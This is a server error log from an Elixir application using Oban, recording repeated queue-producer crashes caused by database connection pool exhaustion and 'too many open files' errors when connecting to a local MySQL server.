State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:36.240962Z], limit: 20, uuid: "49c8c3db-793d-429f-9950-43a55bf60353", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.240967Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61470>, refresh_timer: #Reference<0.2525715032.1077673987.61469>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:36.240505Z], limit: 50, uuid: "b146c1a8-a879-4913-80f9-0fadc979bb3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.240511Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61472>, refresh_timer: #Reference<0.2525715032.1121189889.230615>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:36.239818Z], limit: 3, uuid: "086a92f1-a445-42f0-b0f0-070ad67a2319", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.239824Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.87950>, refresh_timer: #Reference<0.2525715032.1068498948.87937>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:47.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:48.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:51.565000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:52.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:55.124000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:47.241075Z], limit: 5, uuid: "b4935d07-527a-481e-af65-03d516a69af8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.241079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230812>, refresh_timer: #Reference<0.2525715032.1121189889.230805>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:47.241954Z], limit: 50, uuid: "e94c59f4-6f27-4d26-9484-8b3222201522", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.241960Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61559>, refresh_timer: #Reference<0.2525715032.1077673987.61524>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:59.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:47.243570Z], limit: 20, uuid: "cfd64a87-1bc0-423c-b81a-c166100e9efb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.243576Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61558>, refresh_timer: #Reference<0.2525715032.1077673987.61541>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:47.238889Z], limit: 10, uuid: "395eaeae-e009-47ba-95e4-023101266565", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.238897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230811>, refresh_timer: #Reference<0.2525715032.1121189889.230775>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:47.240919Z], limit: 5, uuid: "76d2069a-fdd2-4b03-9417-744e401dcf17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.240925Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230813>, refresh_timer: #Reference<0.2525715032.1121189889.230796>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:59.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:47.242143Z], limit: 3, uuid: "e061fc18-bce3-4b09-9421-5047698f27e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:47.242148Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61560>, refresh_timer: #Reference<0.2525715032.1068498948.88244>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:02.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:04.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:05.712000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:06.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:09.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:09.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:11.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
